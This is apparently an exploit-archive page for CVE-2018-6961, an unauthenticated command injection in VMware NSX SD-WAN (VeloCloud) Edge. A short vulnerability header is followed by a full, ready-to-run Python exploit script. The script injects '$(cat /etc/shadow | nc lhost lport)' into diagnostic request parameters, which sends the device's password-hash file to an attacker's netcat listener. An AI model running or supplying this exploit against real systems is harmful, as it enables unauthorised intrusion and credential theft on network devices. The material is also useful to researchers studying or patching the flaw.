VMware NSX SD-WAN Edge Command Injection

2018.07.02
Credit: Section 8
Risk: High
Local: Yes
Remote: No
CWE: CWE-78


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # Exploit Title: Unauthenticated Command Injection vulnerability in VMware NSX SD-WAN by VeloCloud # Date: 2018-06-29 # Exploit Author: paragonsec @ Critical Start # Credit: Brian Sullivan from Tevora and Section 8 @ Critical Start # Vendor Homepage: https://www.vmware.com # Security Advisory: https://www.vmware.com/security/advisories/VMSA-2018-0011.html # Version: 3.1.1 # CVE: CVE-2018-6961 import argparse import requests import sys import collections ''' This script will return execute whatever payload you placed within it. Keep in mind that SD-WAN is running a slimmed down Linux version so obtaining a reverse shell isn't as simple as nc -e /bin/bash blah blah The command within this script will send stdout of commands to your netcat listener. Feel free to change :) ''' #Colors OKRED = '\033[91m' OKGREEN = '\033[92m' ENDC = '\033[0m' parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Remote Host") parser.add_argument("--source", help = "Victim WAN Interface (e.g ge1, ge2)") parser.add_argument('--lhost', help = 'Local Host listener') parser.add_argument('--lport', help = 'Local Port listener') parser.add_argument('--func', help = 'Function to abuse (e.g traceroute, ping, dns)') args = parser.parse_args() # Check to ensure at least one argument has been passed if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) rhost = args.rhost source = args.source lhost = args.lhost lport = args.lport func = args.func # Payload to be sent to the victim. Change to whatever you like! # This payload will cat /etc/passwd from fictim and pipe it into a netcat connection to your listener giving you the contents of /etc/passwd payload = "$(cat /etc/shadow |nc " + lhost + " " + lport + ")" exploit_url = "http://" + rhost + "/scripts/ajaxPortal.lua" headers = [ ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'), ('Accept', 'application/json, text/javascript, */*; q=0.01'), ('Accept-Language', 'en-US,en;q=0.5'), ('Accept-Encoding', 'gzip, deflate'), ('Referer','http://' + rhost + '/'), ('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8'), ('X-Requested-With', 'XMLHttpRequest'), ('Cookie', 'culture=en-us'), ('Connection', 'close') ] # probably not necessary but did it anyways headers = collections.OrderedDict(headers) # Setting up POST body parameters if func == 'traceroute': body = "destination=8.8.8.8" + payload + "&source=" + source + "&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic" elif func == 'dns': body = "name=google.com" + payload + "&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic" else: body = "destination=8.8.8.8" + payload + "&source=" + source + "&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic" print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)") print(OKGREEN + "Credits: " + ENDC + "Brian Sullivan @ Tevora and Section 8 team @ Critical Start") print(OKGREEN + "CVE: " + ENDC + "2018-6961") print(OKGREEN + "Description: " + ENDC + "Multiple Unauthenticated Command Injection Vulnerabilities in VeloCloud SD-WAN GUI Application\n") print(OKGREEN + "[+]" + ENDC + "Running exploit...") s = requests.Session() req = requests.post(exploit_url, headers=headers, data=body) if "UNKNOWN_COMMAND" not in req.text: print(OKGREEN + "[+]" + ENDC + "Exploit worked. Check listener!") else: print(OKRED + "[!]" + ENDC + "Exploit failed. You lose!")


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